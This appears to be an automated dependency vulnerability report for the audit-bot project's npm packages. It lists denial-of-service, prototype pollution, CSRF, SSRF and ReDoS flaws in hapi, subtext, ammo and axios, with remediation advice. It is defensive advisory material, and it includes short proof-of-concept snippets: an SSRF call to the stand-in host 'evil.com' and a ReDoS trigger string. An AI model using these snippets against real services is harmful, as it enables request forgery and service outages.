ekdevdes/audit-bot:package.json

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Vulnerabilities

9 via 17 paths

Dependencies

110

Source

GitHub

Commit

24f81641

Find, fix and prevent vulnerabilities in your code.

Severity
  • 6
  • 3
Status
  • 9
  • 0
  • 0

high severity

Denial of Service (DoS)

  • Vulnerable module: ammo
  • Introduced through: hapi@17.8.5

Detailed paths

  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 hapi@17.8.5 ammo@3.0.3

Overview

ammo is a HTTP Range processing utilities. Note This package is deprecated and is now maintained as @hapi/ammo.

Affected versions of this package are vulnerable to Denial of Service (DoS). The Range HTTP header parser has a vulnerability which will cause the function to throw a system error if the header is set to an invalid value. Because hapi is not expecting the function to ever throw, the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for ammo.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: hapi
  • Introduced through: hapi@17.8.5

Detailed paths

  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 hapi@17.8.5

Overview

hapi is a HTTP Server framework.

Affected versions of this package are vulnerable to Denial of Service (DoS). The CORS request handler has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for hapi.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: subtext
  • Introduced through: hapi@17.8.5

Detailed paths

  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 hapi@17.8.5 subtext@6.0.12

Overview

subtext is a HTTP payload parsing library. Deprecated. Note: This package is deprecated and is now maintained as @hapi/subtext

Affected versions of this package are vulnerable to Denial of Service (DoS). The package fails to enforce the maxBytes configuration for payloads with chunked encoding that are written to the file system. This allows attackers to send requests with arbitrary payload sizes, which may exhaust system resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

There is no fixed version for subtext.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: subtext
  • Introduced through: hapi@17.8.5

Detailed paths

  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 hapi@17.8.5 subtext@6.0.12

Overview

subtext is a HTTP payload parsing library. Deprecated. Note: This package is deprecated and is now maintained as @hapi/subtext

Affected versions of this package are vulnerable to Denial of Service (DoS). The Content-Encoding HTTP header parser has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. Because hapi rethrows system errors (as opposed to catching expected application errors), the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for subtext.

References

high severity

Prototype Pollution

  • Vulnerable module: subtext
  • Introduced through: hapi@17.8.5

Detailed paths

  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 hapi@17.8.5 subtext@6.0.12

Overview

subtext is a HTTP payload parsing library. Deprecated. Note: This package is deprecated and is now maintained as @hapi/subtext

Affected versions of this package are vulnerable to Prototype Pollution. A multipart payload can be constructed in a way that one of the parts’ content can be set as the entire payload object’s prototype. If this prototype contains data, it may bypass other validation rules which enforce access and privacy. If this prototype evaluates to null, it can cause unhandled exceptions when the request payload is accessed.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for subtext.

References

high severity

Cross-site Request Forgery (CSRF)

  • Vulnerable module: axios
  • Introduced through: @slack/client@5.0.2

Detailed paths

  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/web-api@5.15.0 axios@0.21.4
  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/webhook@5.0.4 axios@0.21.4
  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/rtm-api@5.0.5 @slack/web-api@5.15.0 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: @slack/client@5.0.2

Detailed paths

  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/web-api@5.15.0 axios@0.21.4
  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/webhook@5.0.4 axios@0.21.4
  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/rtm-api@5.0.5 @slack/web-api@5.15.0 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 1.8.2 or higher.

References

medium severity
new

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: @slack/client@5.0.2

Detailed paths

  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/web-api@5.15.0 axios@0.21.4
  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/webhook@5.0.4 axios@0.21.4
  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/rtm-api@5.0.5 @slack/web-api@5.15.0 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 1.8.3 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: @slack/client@5.0.2

Detailed paths

  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/web-api@5.15.0 axios@0.21.4
  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/webhook@5.0.4 axios@0.21.4
  • Introduced through: audit-bot@ekdevdes/audit-bot#24f81641f9cbb1b3e6ef2f16215c34728ec89b44 @slack/client@5.0.2 @slack/rtm-api@5.0.5 @slack/web-api@5.15.0 axios@0.21.4

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References